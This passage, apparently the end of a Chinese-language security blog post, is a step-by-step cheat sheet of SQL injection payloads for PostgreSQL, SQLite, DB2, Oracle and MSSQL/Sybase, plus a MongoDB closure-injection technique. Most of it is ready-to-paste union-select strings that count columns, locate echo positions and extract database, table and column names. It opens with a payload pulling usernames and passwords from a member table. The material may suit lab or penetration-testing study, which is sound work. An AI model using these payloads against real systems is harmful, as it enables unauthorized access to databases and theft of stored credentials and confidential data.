<pre><code class="language-sql line-numbers">union select 1,name,password,4 from member
</code></pre>
<h5 id="34-若版本为50以下则尝试配合字典文件读取读取尝试获取">3.4. 若版本为5.0以下，则尝试配合字典/文件读取读取尝试获取</h5>
<h2 id="三postgresql注入">三、PostgreSQL注入</h2>
<ol>
<li>基本思路与MySQL一致，参考：https://www.cnblogs.com/she11s/p/12326629.html</p></li>
<li>猜测有多少列</li>
</ol>
<pre><code class="language-sql line-numbers">order by 4
</code></pre>
<ol start="3">
  <li>
    联合注入
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select null,null,null,null
</code></pre>
<ol start="4">
  <li>
    获取数据库名：
  </li>
</ol>
<pre><code class="language-sql line-numbers">id=-1 union select null,current_database(),null,null
</code></pre>
<ol start="5">
  <li>
    获取表名
  </li>
</ol>
<pre><code class="language-sql line-numbers">id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1
</code></pre>
<ol start="6">
  <li>
    列名
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select null,column_name,null from information_schema.columns where table_name=’表名’
</code></pre>
<h2 id="四sqlite注入">四、SQLite注入</h2>
<ol>
<li>
<p>使用sqlite_master隐藏表，参考：https://www.cnblogs.com/xiaozi/p/5760321.html 中的union select注入，盲注将在以后涉及，这里暂时略过。</p>
</li>
<li>
<p>查询表名和列名</p>
</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,name,sql,4 from sqlite_master
</code></pre>
<h2 id="五db2注入">五、DB2注入</h2>
<ol>
<li>
<p>参考https://www.cnblogs.com/xiaozi/p/5760321.html</p>
</li>
<li>
<p>猜测有多少列（order by 4）</p>
</li>
<li>
<p>获取库名</p>
</li>
</ol>
<pre><code class="language-sql line-numbers">and 1=2 union select 1,2,current schema,4 from sysibm.sysdummy1
</code></pre>
<ol start="4">
  <li>
    表名
  </li>
</ol>
<pre><code class="language-sql line-numbers">and 1=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
</code></pre>
<ol start="5">
  <li>
    列名
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2,column_name,4 from sysibm.columns where …
</code></pre>
<ol start="6">
  <li>
    内置函数 <ul>
      <li>
        sysibm.sysdummy1 数据库名
      </li>
      <li>
        syscat.tables 表名
      </li>
      <li>
        sysibm.columns 列名
      </li>
    </ul>
  </li>
</ol>
<h2 id="六oracle注入">六、Oracle注入</h2>
<ol>
<li>参考https://www.cnblogs.com/peterpan0707007/p/8242119.html</li>
<li>猜测有多少列（order by 4）</li>
<li>判断列类型</li>
</ol>
<pre><code class="language-sql line-numbers">union select null,null,… from dual
</code></pre>
<pre><code>- 判断字符型还是数字型：在第一个null上加上单引号，正常（输出null）说明第一列为字符型，否则（不显示）为数字型。依次判断各列的类型。
</code></pre>
<ol start="4">
<li>确定回显位</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2 from dual
</code></pre>
<ol start="5">
  <li>
    假设返回2，则第一个表
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,(select table_name from user_tables where rownum=1) from dual
</code></pre>
<pre><code>- 第二个表以此类推。
</code></pre>
<ol start="6">
  <li>
    通过模糊like查询获得表名，配合抓包工具（见Access数据库注入）
  </li>
</ol>
<h2 id="七mongodb闭合注入较特殊工具可能不支持">*七、MongoDB闭合注入（较特殊，工具可能不支持）</h2>
<p><img loading="lazy" src="https://www.mozhe.cn/uploads/2018/07/04/1530693387a37838.jpg" alt="MongoDB注入需要获取代码"  />
</p>
<ol>
<li>
<p>首先要获得代码，否则将很难注入。</p>
</li>
<li>
<p>获取回显：’}); return ({title:1,content:’2</p>
<ul>
<li>⚠️这里假如不知道字段名要靠猜，这也是MongoDB注入点少的原因。</li>
</ul>
</li>
<li>
<p>库名</p>
</li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db),content:’2
</code></pre>
<ol start="4">
  <li>
    表名
  </li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db.getCollectionNames()),content:’2
</code></pre>
<ol start="5">
  <li>
    列名、数据
  </li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db.Authority_confidential.find[0]),content:’2
'}); return ({title:tojson(db.Authority_confidential.find[1]),content:’2
</code></pre>
<h2 id="八mssql和sybase注入">八、MSSQL和Sybase注入</h2>
<ol>
<li>order by 4</li>
<li>回显：</li>
</ol>
<pre><code class="language-sql line-numbers">union all select ‘null’,null,null,null
union all select null,’null’,null,null //显示null说明回显位为2
union all select null,null,’null’,null
union all select null,null,null,’null’
</code></pre>
<ol start="3">
  <li>
    猜列名猜表名基本一致
  </li>
</ol>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
